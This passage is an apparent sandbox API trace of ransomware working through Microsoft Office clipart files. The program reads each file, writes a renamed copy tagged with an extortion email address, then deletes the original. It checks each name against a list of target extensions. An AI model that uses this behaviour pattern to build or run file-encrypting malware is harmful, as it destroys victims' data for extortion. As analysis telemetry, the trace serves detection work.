SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0173.159] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0173.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0173.162] GetLastError () returned 0x0 [0173.162] ReadFile (in: hFile=0x534, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x3014, lpOverlapped=0x0) returned 1 [0173.164] WriteFile (in: hFile=0x538, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x3020, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x3020, lpOverlapped=0x0) returned 1 [0173.165] ReadFile (in: hFile=0x534, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0173.165] WriteFile (in: hFile=0x538, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0173.166] SetEndOfFile (hFile=0x538) returned 1 [0173.166] CloseHandle (hObject=0x538) returned 1 [0173.166] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0173.166] SetEndOfFile (hFile=0x534) returned 1 [0173.169] CloseHandle (hObject=0x534) returned 1 [0173.169] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0173.170] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf")) returned 1 [0173.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0173.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0173.171] lstrlenW (lpString=".doc") returned 4 [0173.171] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0173.171] lstrlenW (lpString=".docx") returned 5 [0173.171] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0173.171] lstrlenW (lpString=".pdf") returned 4 [0173.171] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0173.171] lstrlenW (lpString=".xls") returned 4 [0173.171] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0173.171] lstrlenW (lpString=".xlsx") returned 5 [0173.171] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0173.171] lstrlenW (lpString=".ppt") returned 4 [0173.171] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0173.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0173.171] lstrlenW (lpString=".zip") returned 4 [0173.171] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0173.171] lstrlenW (lpString=".rar") returned 4 [0173.172] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0173.172] lstrlenW (lpString=".bz2") returned 4 [0173.172] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0173.172] lstrlenW (lpString=".7z") returned 3 [0173.172] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0173.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0173.172] lstrlenW (lpString=".dbf") returned 4 [0173.172] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0173.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0173.172] lstrlenW (lpString=".1cd") returned 4 [0173.172] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0173.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0173.172] lstrlenW (lpString=".jpg") returned 4 [0173.172] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0173.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0173.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0173.172] lstrlenW (lpString=".doc") returned 4 [0173.172] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0173.172] lstrlenW (lpString=".docx") returned 5 [0173.172] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0173.172] lstrlenW (lpString=".pdf") returned 4 [0173.172] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0173.172] lstrlenW (lpString=".xls") returned 4 [0173.172] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0173.172] lstrlenW (lpString=".xlsx") returned 5 [0173.172] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0173.172] lstrlenW (lpString=".ppt") returned 4 [0173.172] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0173.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0173.172] lstrlenW (lpString=".zip") returned 4 [0173.173] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0173.173] lstrlenW (lpString=".rar") returned 4 [0173.173] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0173.173] lstrlenW (lpString=".bz2") returned 4 [0173.173] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0173.173] lstrlenW (lpString=".7z") returned 3 [0173.173] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0173.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0173.173] lstrlenW (lpString=".dbf") returned 4 [0173.173] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0173.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0173.173] lstrlenW (lpString=".1cd") returned 4 [0173.173] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0173.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0173.173] lstrlenW (lpString=".jpg") returned 4 [0173.173] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0173.173] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0173.173] lstrlenW (lpString="J0107300.WMF") returned 12 [0173.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0173.174] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=2460) returned 1 [0173.174] CloseHandle (hObject=0x534) returned 1 [0173.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf")) returned 0x220 [0173.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0173.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0173.175] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0173.175] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0173.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0173.513] GetLastError () returned 0x0 [0173.513] ReadFile (in: hFile=0x534, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x99c, lpOverlapped=0x0) returned 1 [0173.525] WriteFile (in: hFile=0x538, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x9a0, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x9a0, lpOverlapped=0x0) returned 1 [0173.526] ReadFile (in: hFile=0x534, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0173.526] WriteFile (in: hFile=0x538, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0173.526] SetEndOfFile (hFile=0x538) returned 1 [0173.526] CloseHandle (hObject=0x538) returned 1 [0173.526] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0173.526] SetEndOfFile (hFile=0x534) returned 1 [0173.529] CloseHandle (hObject=0x534) returned 1 [0173.529] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0173.529] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf")) returned 1 [0173.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0173.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0173.530] lstrlenW (lpString=".doc") returned 4 [0173.530] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0173.530] lstrlenW (lpString=".docx") returned 5 [0173.530] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0173.530] lstrlenW (lpString=".pdf") returned 4 [0173.530] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0173.530] lstrlenW (lpString=".xls") returned 4 [0173.530] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0173.530] lstrlenW (lpString=".xlsx") returned 5 [0173.530] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0173.530] lstrlenW (lpString=".ppt") returned 4 [0173.530] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0173.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0173.531] lstrlenW (lpString=".zip") returned 4 [0173.531] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0173.531] lstrlenW (lpString=".rar") returned 4 [0173.531] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0173.531] lstrlenW (lpString=".bz2") returned 4 [0173.531] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0173.531] lstrlenW (lpString=".7z") returned 3 [0173.531] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0173.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0173.531] lstrlenW (lpString=".dbf") returned 4 [0173.531] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0173.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0173.531] lstrlenW (lpString=".1cd") returned 4 [0173.531] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0173.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0173.531] lstrlenW (lpString=".jpg") returned 4 [0173.531] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0173.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0173.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0173.531] lstrlenW (lpString=".doc") returned 4 [0173.531] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0173.531] lstrlenW (lpString=".docx") returned 5 [0173.531] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0173.531] lstrlenW (lpString=".pdf") returned 4 [0173.531] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0173.531] lstrlenW (lpString=".xls") returned 4 [0173.531] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0173.531] lstrlenW (lpString=".xlsx") returned 5 [0173.531] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0173.531] lstrlenW (lpString=".ppt") returned 4 [0173.531] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0173.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0173.532] lstrlenW (lpString=".zip") returned 4 [0173.532] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0173.532] lstrlenW (lpString=".rar") returned 4 [0173.532] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0173.532] lstrlenW (lpString=".bz2") returned 4 [0173.532] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0173.532] lstrlenW (lpString=".7z") returned 3 [0173.532] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0173.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0173.532] lstrlenW (lpString=".dbf") returned 4 [0173.532] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0173.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0173.532] lstrlenW (lpString=".1cd") returned 4 [0173.532] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0173.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0173.532] lstrlenW (lpString=".jpg") returned 4 [0173.532] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0173.532] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0173.532] lstrlenW (lpString="J0107358.WMF") returned 12 [0173.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0173.534] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=7964) returned 1 [0173.534] CloseHandle (hObject=0x534) returned 1 [0173.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf")) returned 0x220 [0173.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0173.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0173.534] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0173.534] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0173.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0173.535] GetLastError () returned 0x0 [0173.535] ReadFile (in: hFile=0x534, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x1f1c, lpOverlapped=0x0) returned 1 [0173.537] WriteFile (in: hFile=0x538, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x1f20, lpOverlapped=0x0) returned 1 [0173.538] ReadFile (in: hFile=0x534, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0173.538] WriteFile (in: hFile=0x538, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0173.538] SetEndOfFile (hFile=0x538) returned 1 [0173.538] CloseHandle (hObject=0x538) returned 1 [0173.539] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0173.539] SetEndOfFile (hFile=0x534) returned 1 [0173.542] CloseHandle (hObject=0x534) returned 1 [0173.542] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0173.542] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf")) returned 1 [0173.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0173.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0173.543] lstrlenW (lpString=".doc") returned 4 [0173.543] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0173.543] lstrlenW (lpString=".docx") returned 5 [0173.543] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0173.543] lstrlenW (lpString=".pdf") returned 4 [0173.543] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0173.543] lstrlenW (lpString=".xls") returned 4 [0173.543] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0173.543] lstrlenW (lpString=".xlsx") returned 5 [0173.543] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0173.543] lstrlenW (lpString=".ppt") returned 4 [0173.543] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0173.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0173.543] lstrlenW (lpString=".zip") returned 4 [0173.543] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0173.543] lstrlenW (lpString=".rar") returned 4 [0173.543] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0173.543] lstrlenW (lpString=".bz2") returned 4 [0173.543] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0173.543] lstrlenW (lpString=".7z") returned 3 [0173.543] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0173.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0173.544] lstrlenW (lpString=".dbf") returned 4 [0173.544] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0173.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0173.544] lstrlenW (lpString=".1cd") returned 4 [0173.544] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0173.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0173.544] lstrlenW (lpString=".jpg") returned 4 [0173.544] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0173.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0173.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0173.544] lstrlenW (lpString=".doc") returned 4 [0173.544] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0173.544] lstrlenW (lpString=".docx") returned 5 [0173.544] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0173.544] lstrlenW (lpString=".pdf") returned 4 [0173.544] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0173.544] lstrlenW (lpString=".xls") returned 4 [0173.544] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0173.544] lstrlenW (lpString=".xlsx") returned 5 [0173.544] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0173.544] lstrlenW (lpString=".ppt") returned 4 [0173.544] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0173.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0173.544] lstrlenW (lpString=".zip") returned 4 [0173.544] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0173.544] lstrlenW (lpString=".rar") returned 4 [0173.544] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0173.544] lstrlenW (lpString=".bz2") returned 4 [0173.544] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0173.544] lstrlenW (lpString=".7z") returned 3 [0173.544] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0173.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0173.545] lstrlenW (lpString=".dbf") returned 4 [0173.545] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0173.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0173.545] lstrlenW (lpString=".1cd") returned 4 [0173.545] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0173.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0173.545] lstrlenW (lpString=".jpg") returned 4 [0173.545] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0173.545] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0173.545] lstrlenW (lpString="J0107364.WMF") returned 12 [0173.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0173.546] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=16588) returned 1 [0173.546] CloseHandle (hObject=0x534) returned 1 [0173.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf")) returned 0x220 [0173.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0173.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0173.546] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0173.547] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0173.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0173.547] GetLastError () returned 0x0 [0173.547] ReadFile (in: hFile=0x534, lpBuffer=0x385f020, 